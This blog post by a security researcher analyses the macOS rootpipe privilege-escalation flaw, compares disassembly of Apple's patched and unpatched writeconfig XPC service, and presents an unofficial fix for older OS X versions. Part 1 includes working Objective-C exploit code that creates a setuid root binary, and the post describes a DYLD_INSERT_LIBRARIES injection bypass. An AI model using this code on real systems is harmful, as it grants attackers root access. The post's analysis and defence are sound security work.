The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since its first announcement. It was disclosed as a hidden backdoor but it’s really something more related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose. Apple doesn’t have a stellar security record so the simple explanation has a good chance to prevail over the backdoor story.

Anyway that’s not what really matter for this post. The most important issue is that a fix was made available only for Yosemite 10.10.3. Every other OS X version is left vulnerable. While this is a local privilege escalation vulnerability there are many scenarios where it can be used (you don’t audit every single installer and software that runs on your Mac, do you?). It is extremely reliable and can be used in different ways other than just creating a suid binary. The vulnerability author wrote the following regarding this issue:

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.”"

So essentially Apple refuses to patch this in all versions except the latest one because it’s apparently too much work. There is no official statement from Apple regarding the EOL (End of Life) status about all previous OS X versions so this course of action is quite strange. Even stranger when Apple backports some security patches to those older versions so they are implicitly not yet dead versions.

In this situation what can we do?
We can try to verify what is the real impact of Apple’s fix and call their bluff if we can prove that we are able to produce a fix without significant changes to the operating system. Challenge accepted!

Part 1 – The vulnerability

The core of this vulnerability resides in the writeconfig XPC service that is part of the SystemAdministration private framework. It is essentially an helper to keep privileged operations separated from the binaries that require those privileged operations. It contains an interesting method called createFileWithContents:path:attributes: that allows to create a file anywhere in the filesystem with whatever permissions we want. This is the method being exploited to create a suid binary that allows privilege escalation. We can also use it to create a launchd daemon, modify sudo configurations and so on. This XPC service contains other methods that could be useful for exploitation but this one is good enough. The following code snippet is the port to Objective-C of the original Python PoC:

int
get_me_rootpipe(const char *sourceFile)
{
    Class hackClass = (Class)objc_lookUpClass("WriteConfigClient");
    if (hackClass != nil)
    {
        if ([hackClass respondsToSelector:@selector(sharedClient)])
        {
            id sharedClient = [hackClass performSelector:@selector(sharedClient)];
            if (sharedClient != nil)
            {
                [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:nil];
                id tool = [sharedClient performSelector:@selector(remoteProxy)];

                NSMutableDictionary *attr = [NSMutableDictionary new];
                [attr setValue:[NSNumber numberWithShort:04777]
                             forKey:NSFilePosixPermissions];
                NSData *file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]];
                /* use NSInvocation because we have more than 2 parameters for the selector */
                SEL mySelector = NSSelectorFromString(@"createFileWithContents:path:attributes:");
                NSInvocation *inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]];
                [inv setSelector:mySelector];
                [inv setTarget:tool]; /* the target where we want to invoke the method */
                [inv setArgument:&file atIndex:2];
                /* hardcoded value */
                NSString *targetFile = @"/tmp/suid_diagnostic_service";
                [inv setArgument:&targetFile atIndex:3];
                [inv setArgument:&attr atIndex:4];
                /* rootpipe everything! Thank you Apple once again :-) */
                [inv invoke];
            }
        }
    }
    return 0;
}

The vulnerability author reports that this service appears to be used by System Preferences and systemsetup applications. This is true but there are also other binaries using this service. The core of this vulnerability is that there is no access control regarding which binaries can access this service. If a user can obtain the necessary connection to the XPC service he is able to call that method and do whatever he wants in the system. There is a second vulnerability in the way any user can obtain the necessary connection to the XPC service. If a nil object is passed to authenticateUsingAuthorizationSync: the connection will succeed and it is game over. This makes it possible for any user to connect to the service. This second vulnerability isn’t necessary in case the user as admin privileges, which is a valid scenario for many default installations.

Part 2 – Apple’s fix

The next step is to try to reverse the fix made in 10.10.3 release. We know that writeconfig is the vulnerable service so it is reasonable to expect most changes happening there. It is also reasonable to expect Apple to interpret this issue as an access control problem. If this is true there should be some kind of new access control mechanism implemented. The easiest option would be to bindiff the binary but I was too lazy to launch the Windows VM with bindiff and still haven’t tried to set up Diaphora in OS X. How are XPC services implemented? Apple’s documentation can be found here.

Essentially there is a main function implemented that creates and configures a listener object and a delegate class we must create. The delegate class must conform to the NSXPCListenerDelegate protocol. This protocol contains a single method listener:shouldAcceptNewConnection:, which accepts or rejects connections to the listener. Bingo, this is probably what we are looking after. Are there any differences between the 10.10.3 version and older ones?

10.10.1:

0000000100002133 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
0000000100002133 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
0000000100002133                                         ; DATA XREF: __objc_const:000000010001C7F8o
0000000100002133
0000000100002133 var_30          = qword ptr -30h
0000000100002133
0000000100002133                 push    rbp
0000000100002134                 mov     rbp, rsp
0000000100002137                 push    r15
0000000100002139                 push    r14
000000010000213B                 push    r13
000000010000213D                 push    r12
000000010000213F                 push    rbx
0000000100002140                 push    rax
0000000100002141                 mov     r13, rcx
0000000100002144                 mov     r15, rdi
0000000100002147                 mov     r12, cs:selRef_setExportedObject_
000000010000214E                 mov     rdi, r13
0000000100002151                 call    cs:_objc_retain_ptr
0000000100002157                 mov     [rbp+var_30], rax
000000010000215B                 mov     r14, cs:_objc_msgSend_ptr
0000000100002162                 mov     rdi, r13
0000000100002165                 mov     rsi, r12
0000000100002168                 mov     rdx, r15
000000010000216B                 call    r14 ; _objc_msgSend
000000010000216E                 mov     rdi, cs:classRef_NSXPCInterface
0000000100002175                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
000000010000217C                 mov     rsi, cs:selRef_interfaceWithProtocol_
0000000100002183                 call    r14 ; _objc_msgSend
0000000100002186                 mov     rdi, rax
0000000100002189                 call    _objc_retainAutoreleasedReturnValue
000000010000218E                 mov     rbx, rax
0000000100002191                 mov     rsi, cs:selRef_setExportedInterface_
0000000100002198                 mov     rdi, r13
000000010000219B                 mov     rdx, rbx
000000010000219E                 call    r14 ; _objc_msgSend
00000001000021A1                 mov     r15, cs:_objc_release_ptr
00000001000021A8                 mov     rdi, rbx
00000001000021AB                 call    r15 ; _objc_release
00000001000021AE                 mov     rsi, cs:selRef_setInvalidationHandler_
00000001000021B5                 lea     rdx, off_100019730
00000001000021BC                 mov     rdi, r13
00000001000021BF                 call    r14 ; _objc_msgSend
00000001000021C2                 mov     rsi, cs:selRef_resume
00000001000021C9                 mov     rdi, r13
00000001000021CC                 call    r14 ; _objc_msgSend
00000001000021CF                 mov     rdi, [rbp+var_30]
00000001000021D3                 call    r15 ; _objc_release
00000001000021D6                 mov     eax, 1
00000001000021DB                 add     rsp, 8
00000001000021DF                 pop     rbx
00000001000021E0                 pop     r12
00000001000021E2                 pop     r13
00000001000021E4                 pop     r14
00000001000021E6                 pop     r15
00000001000021E8                 pop     rbp
00000001000021E9                 retn
00000001000021E9 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ endp

10.10.3

0000000100001C71 ; WriteConfigDispatch - (char)listener:(id) shouldAcceptNewConnection:(id)
0000000100001C71 ; Attributes: bp-based frame
0000000100001C71
0000000100001C71 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id)
0000000100001C71 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near
0000000100001C71                                         ; DATA XREF: __objc_const:000000010001C958o
0000000100001C71
0000000100001C71 var_490         = qword ptr -490h
0000000100001C71 var_488         = qword ptr -488h
0000000100001C71 var_480         = qword ptr -480h
0000000100001C71 var_478         = qword ptr -478h
0000000100001C71 var_470         = qword ptr -470h
0000000100001C71 var_468         = qword ptr -468h
0000000100001C71 var_460         = xmmword ptr -460h
0000000100001C71 var_450         = xmmword ptr -450h
0000000100001C71 buffer          = byte ptr -440h
0000000100001C71 var_43F         = byte ptr -43Fh
0000000100001C71 var_43E         = byte ptr -43Eh
0000000100001C71 var_43D         = byte ptr -43Dh
0000000100001C71 var_30          = qword ptr -30h
0000000100001C71
0000000100001C71                 push    rbp
0000000100001C72                 mov     rbp, rsp
0000000100001C75                 push    r15
0000000100001C77                 push    r14
0000000100001C79                 push    r13
0000000100001C7B                 push    r12
0000000100001C7D                 push    rbx
0000000100001C7E                 sub     rsp, 468h
0000000100001C85                 mov     rbx, rcx
0000000100001C88                 mov     r15, rdi
0000000100001C8B                 mov     rax, cs:___stack_chk_guard_ptr
0000000100001C92                 mov     rax, [rax]
0000000100001C95                 mov     [rbp+var_30], rax
0000000100001C99                 mov     r14, cs:_objc_retain_ptr
0000000100001CA0                 mov     rdi, rdx
0000000100001CA3                 call    r14 ; _objc_retain
0000000100001CA6                 mov     [rbp-470h], rax
0000000100001CAD                 mov     rdi, rbx
0000000100001CB0                 call    r14 ; _objc_retain
0000000100001CB3                 mov     r12, rax
0000000100001CB6                 test    r12, r12
0000000100001CB9                 jz      short loc_100001CD3
0000000100001CBB                 mov     rdx, cs:selRef_auditToken
0000000100001CC2                 lea     rdi, [rbp-460h]
0000000100001CC9                 mov     rsi, r12
0000000100001CCC                 call    _objc_msgSend_stret
0000000100001CD1                 jmp     short loc_100001CE4
0000000100001CD3 ; ---------------------------------------------------------------------------
0000000100001CD3
0000000100001CD3 loc_100001CD3:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+48j
0000000100001CD3                 xorps   xmm0, xmm0
0000000100001CD6                 movaps  [rbp+var_450], xmm0
0000000100001CDD                 movaps  [rbp+var_460], xmm0
0000000100001CE4
0000000100001CE4 loc_100001CE4:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+60j
0000000100001CE4                 mov     rax, qword ptr [rbp+var_450+8]
0000000100001CEB                 mov     [rsp+490h+var_478], rax
0000000100001CF0                 mov     rax, qword ptr [rbp+var_450]
0000000100001CF7                 mov     [rsp+490h+var_480], rax
0000000100001CFC                 mov     rax, qword ptr [rbp+var_460]
0000000100001D03                 mov     rcx, qword ptr [rbp+var_460+8]
0000000100001D0A                 mov     [rsp+490h+var_488], rcx
0000000100001D0F                 mov     [rsp+490h+var_490], rax
0000000100001D13                 xor     edi, edi
0000000100001D15                 call    _SecTaskCreateWithAuditToken
0000000100001D1A                 mov     rbx, rax
0000000100001D1D                 test    rbx, rbx
0000000100001D20                 jz      loc_100001E32
0000000100001D26                 mov     [rbp+var_468], 0
0000000100001D31                 lea     rsi, cfstr_Com_apple_priv ; "com.apple.private.admin.writeconfig"
0000000100001D38                 lea     rdx, [rbp+var_468]
0000000100001D3F                 mov     rdi, rbx
0000000100001D42                 call    _SecTaskCopyValueForEntitlement
0000000100001D47                 mov     r13, rax
0000000100001D4A                 mov     rsi, [rbp+var_468]
0000000100001D51                 test    rsi, rsi
0000000100001D54                 jz      short loc_100001D70
0000000100001D56                 lea     rdi, cfstr_UnableToGetEnt ; "### Unable to get entitlements for client task. Error: %@"
0000000100001D5D                 xor     eax, eax
0000000100001D5F                 call    _NSLog
0000000100001D64                 mov     rdi, [rbp+var_468]
0000000100001D6B                 call    _CFRelease
0000000100001D70
0000000100001D70 loc_100001D70:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+E3j
0000000100001D70                 test    r13, r13
0000000100001D73                 jz      loc_100001E4A
0000000100001D79                 mov     rdi, r13
0000000100001D7C                 call    _CFGetTypeID
0000000100001D81                 mov     r14, rax
0000000100001D84                 call    _CFBooleanGetTypeID
0000000100001D89                 cmp     r14, rax
0000000100001D8C                 jnz     loc_100001E42
0000000100001D92                 mov     rdi, r13
0000000100001D95                 call    _CFBooleanGetValue
0000000100001D9A                 mov     r14b, al
0000000100001D9D                 mov     rdi, r13
0000000100001DA0                 call    _CFRelease
0000000100001DA5                 mov     rdi, rbx
0000000100001DA8                 call    _CFRelease
0000000100001DAD                 test    r14b, r14b
0000000100001DB0                 jz      loc_100001E52
0000000100001DB6                 mov     rsi, cs:selRef_setExportedObject_
0000000100001DBD                 mov     r14, cs:_objc_msgSend_ptr
0000000100001DC4                 mov     rdi, r12
0000000100001DC7                 mov     rdx, r15
0000000100001DCA                 call    r14 ; _objc_msgSend
0000000100001DCD                 mov     rdi, cs:classRef_NSXPCInterface
0000000100001DD4                 mov     rdx, cs:protocolRef_XPCWriteConfigProtocol
0000000100001DDB                 mov     rsi, cs:selRef_interfaceWithProtocol_
0000000100001DE2                 call    r14 ; _objc_msgSend
0000000100001DE5                 mov     rdi, rax
0000000100001DE8                 call    _objc_retainAutoreleasedReturnValue
0000000100001DED                 mov     rbx, rax
0000000100001DF0                 mov     rsi, cs:selRef_setExportedInterface_
0000000100001DF7                 mov     rdi, r12
0000000100001DFA                 mov     rdx, rbx
0000000100001DFD                 call    r14 ; _objc_msgSend
0000000100001E00                 mov     rdi, rbx        ; _QWORD
0000000100001E03                 call    cs:_objc_release_ptr
0000000100001E09                 mov     rsi, cs:selRef_setInvalidationHandler_
0000000100001E10                 lea     rdx, off_1000197C0
0000000100001E17                 mov     rdi, r12
0000000100001E1A                 call    r14 ; _objc_msgSend
0000000100001E1D                 mov     rsi, cs:selRef_resume
0000000100001E24                 mov     rdi, r12
0000000100001E27                 call    r14 ; _objc_msgSend
0000000100001E2A                 mov     r14b, 1
0000000100001E2D                 jmp     loc_100001F0D
0000000100001E32 ; ---------------------------------------------------------------------------
0000000100001E32
0000000100001E32 loc_100001E32:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+AFj
0000000100001E32                 lea     rdi, cfstr_UnableToCreate ; "### Unable to create security task from audit token"
0000000100001E39                 xor     eax, eax
0000000100001E3B                 call    _NSLog
0000000100001E40                 jmp     short loc_100001E52
0000000100001E42 ; ---------------------------------------------------------------------------
0000000100001E42
0000000100001E42 loc_100001E42:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+11Bj
0000000100001E42                 mov     rdi, r13
0000000100001E45                 call    _CFRelease
0000000100001E4A
0000000100001E4A loc_100001E4A:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+102j
0000000100001E4A                 mov     rdi, rbx
0000000100001E4D                 call    _CFRelease
0000000100001E52
0000000100001E52 loc_100001E52:                          ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+13Fj
0000000100001E52                                         ; -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+1CFj
0000000100001E52                 mov     rsi, cs:selRef_processIdentifier
0000000100001E59                 mov     rdi, r12
0000000100001E5C                 call    cs:_objc_msgSend_ptr
0000000100001E62                 lea     rsi, [rbp+buffer] ; buffer
0000000100001E69                 mov     edx, 401h       ; buffersize
0000000100001E6E                 mov     edi, eax        ; pid
0000000100001E70                 call    _proc_pidpath
0000000100001E75                 lea     ecx, [rax-1]
0000000100001E78                 cmp     ecx, 3FEh
0000000100001E7E                 ja      short loc_100001ECC
0000000100001E80                 cdqe
0000000100001E82                 mov     [rbp+rax+buffer], 0
0000000100001E8A                 mov     rdi, cs:classRef_NSString
0000000100001E91                 mov     rsi, cs:selRef_stringWithUTF8String_
0000000100001E98                 lea     rdx, [rbp+buffer]
0000000100001E9F                 call    cs:_objc_msgSend_ptr
0000000100001EA5                 mov     rdi, rax
0000000100001EA8                 call    _objc_retainAutoreleasedReturnValue
0000000100001EAD                 mov     rbx, rax
0000000100001EB0                 lea     rdi, cfstr_AccessDeniedFo ; "### Access denied for unentitled client %@"
0000000100001EB7                 xor     eax, eax
0000000100001EB9                 mov     rsi, rbx
0000000100001EBC                 call    _NSLog
0000000100001EC1                 mov     rdi, rbx        ; _QWORD
0000000100001EC4                 call    cs:_objc_release_ptr
0000000100001ECA                 jmp     short loc_100001EF6
(...)

Yes, there are quite significant changes between the two versions. The old version doesn’t seem to do any kind of access control while the new version implements a new private entitlement called com.apple.private.admin.writeconfig. If the binary calling the XPC service does not contain this entitlement then it can’t connect anymore to the XPC. Let’s try to run the exploit code in 10.10.3:

Executing rootpiped diagnostic service...
2015-04-13 10:17:16.665 diagnostic_service[687:37692] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "Couldn’t communicate with a helper application." (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7f9ef8c0d2c0 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}

As expected our exploit code doesn’t have that private entitlement and can no longer connect to writeconfig XPC service.

If we grep a 10.10.3 system (or unpack the update pkg) for that entitlement we will find around 50 binaries that contain the new entitlement. This shows us how this XPC service is deeply integrated into OS X and probably why Apple doesn’t want to backport the fix to older OS X versions. For a hidden backdoor that’s a lot of work and services dependent on it.

Part 3 – Developing our own fix for older versions

To be honest I didn’t verify for any other major changes in SystemAdministration framework. The reason is that I think the new entitlement fixes the issue. Access is now restricted to Apple selected binaries with the new private entitlement. The vulnerable method to the nil object doesn’t appear to be modified (technically sending a nil object in Objective-C is valid).

Assuming that the entitlement and correspondent access control create a permanent fix, can we use the same concept to fix the issue in older versions without all the changes a new entitlement might require? Apple says no. I say yes, it is possible and it’s much easier than it might appear. It can be even easier if Apple does it because they can skip some of the intermediate steps my fix requires.

What we need is a way to (dynamically) introduce some kind of access control to writeconfig and limit the binaries that can connect to it. I mean dynamically because I guess that if we directly patch the binary we will break the code signature and it will stop working (I did not test this, just guessing!). Even if patching was possible it wouldn’t completely solve the problem as we will soon understand.

We need to add access control to the listener delegate that XPC services implement, listener:shouldAcceptNewConnection:. Being a Objective-C binary this is quite easy using swizzling. The idea is to inject a dynamic library into the process, swizzle the original method, implement access control in our own method, and call the original method if the binary passes our checks.

How can we implement the access control? The first idea was to use code signatures to verify if the binary is an Apple binary (because technically only Apple binaries should be allowed to connect). This sort of works because even if we code sign an exploit binary it will not pass the check because it’s not Apple’s certificate.
The problem of this approach is that it can be easily bypassed using the same trick as Google’s Santa. We just need to inject a library using DYLD_INSERT_LIBRARIES into any Apple signed process (/bin/ls for example) and call the exploit payload from the library.
Hardcoding the paths of all the allowed binaries still doesn’t solve this issue. We reduce the number of binaries that can be used but we can still call an authorized binary and inject the attacking library.

The solution is to block DYLD_INSERT_LIBRARIES injection into the authorized binaries. Is there any operating system support for this? Yes there is. dyld (the linker) is responsible for loading the library specified in DYLD_INSERT_LIBRARIES. It will ignore this and other environment variables if the process is considered restricted. In what conditions does it consider a process restricted?

  • If it has setuid or setgid bit set.
  • If it contains a __RESTRICT segment (read this post for further info).
  • If it has entitlements.

For example in 10.10.3 we can’t use this trick to exploit the binaries that contain the new entitlement. Because they have entitlements dyld will clear the variable so we can’t piggyback on their entitlement from our injected library (that is really never injected into the process).

Once again, we don’t want to modify any binaries at disk so we need to do it dynamically. One possible solution would be to modify dyld on the fly and inject some code to mark the authorized processes as restricted. The easiest solution is to do this from a kernel extension and inject a new __RESTRICT segment into the authorized processes.

My proposed fix contains two components, a kernel extension and a dynamic library.
The kernel extension, Mario, is responsible for injecting the dynamic library into the writeconfig process (using the same technique as published in my Phrack article), and for injecting a __RESTRICT segment and __restrict section into all processes authorized to connect to the XPC service. The authorized processes list is hardcoded and was obtained by grep’ing all the binaries in Yosemite that have the new entitlement. Those who do not exist in Mavericks were removed from the list. A few processes might be missing from this list so this will require a bit of additional testing to gather all the binaries.
The kext is implemented as a TrustedBSD policy module (you know I love TrustedBSD, right?). It can be loaded as soon as possible in the system because it uses the com.apple. trick in the bundle identifier.

The dynamic library, Luigi, injected into the writeconfig XPC binary is responsible for accepting or denying the connection to the XPC service. It does this by verifying the path of the binary and its code signature. If not in the authorized path list or code signature is bad the connection will be denied. The information about the connecting process can be obtained from the newConnection parameter in the listener method. We can obtain the PID of the connecting process and then its associated path using proc_pidpath function. A log file is created in /tmp/rootpipe_fix_log, with all authorized and unauthorized connections to the XPC service.

Part 4 – Can Apple implement this fix?

Yes they can. And they don’t need a kernel extension at all. They need to modify the writeconfig code to do the same job as the dynamic library and dyld to restrict library injection in the authorized binaries. This requires a hardcoded list into dyld and writeconfig (or a plist somewhere that can be codesigned and verified both by writeconfig and dyld). It’s not a pretty fix but it should work and it’s way better than leaving a large userbase completely vulnerable to this bug.
Update: obviously I forgot to write this in the original post, but there’s no need to modify dyld since all the binaries just need to be recompiled with the extra __RESTRICT segment. The only one that requires a hardcoded list is writeconfig.

Part 5 – Conclusion

Hopefully I have convinced you that it is indeed possible to fix the rootpipe vulnerability in older versions without major OS X changes. It can also be applied to other versions with minor or no work at all. Apple’s response to this issue is not acceptable at all. There is no official end of life (EOL) statements from Apple regarding older OS X versions. If there is no such statement and Apple still releases some security patches for those versions then it’s perfectly reasonable to assume they are still supported and it’s a user choice to use them or not. Leaving users exposed to such dangerous vulnerabilities with fully working public exploits available is simply irresponsible. Let me remind you that iWorm botnet infected more than 17k hosts just by asking the users for admin privileges. How large do you think a botnet can be by exploiting this vulnerability to escalate privileges without any user intervention at all?

It’s not possible for Apple to not want to assume the potential costs and risks of declaring OS X versions EOL but also to not want to backport really important security fixes to older OS X versions because that implies “too much work” (where too much work is my personal interpretation of Apple’s answer regarding this). The 90s are over, learn a bit with Microsoft. Microsoft isn’t perfect but they learnt some lessons and improved a lot regarding security. We all would love to have users running all the latest versions of every piece of software. Reality is much different else there wouldn’t be a problem called Windows XP. Learn with other’s mistakes, they are cheaper.

Source code available at:
Mario – https://github.com/gdbinit/mario
Luigi – https://github.com/gdbinit/luigi

Feel free to send any bug reports or problems with this patch. Code might contain some bugs, large part of it was copy & pasted from older projects. This means it’s not production code but something to pressure Apple to fix the issue.

Have fun,
fG!

Update:
There is malware from 2014 that was already exploiting this vulnerability. Found by noar, the following sample contains the exploit code for both Mavericks and older versions. It uses the exploit to activate the Accessibility API. See, we don’t even need to wait for new malware, it was already being exploited in the wild. The malware sample is described by FireEye here, but they totally miss the zero day there. They just lightly describe the result but not the technique.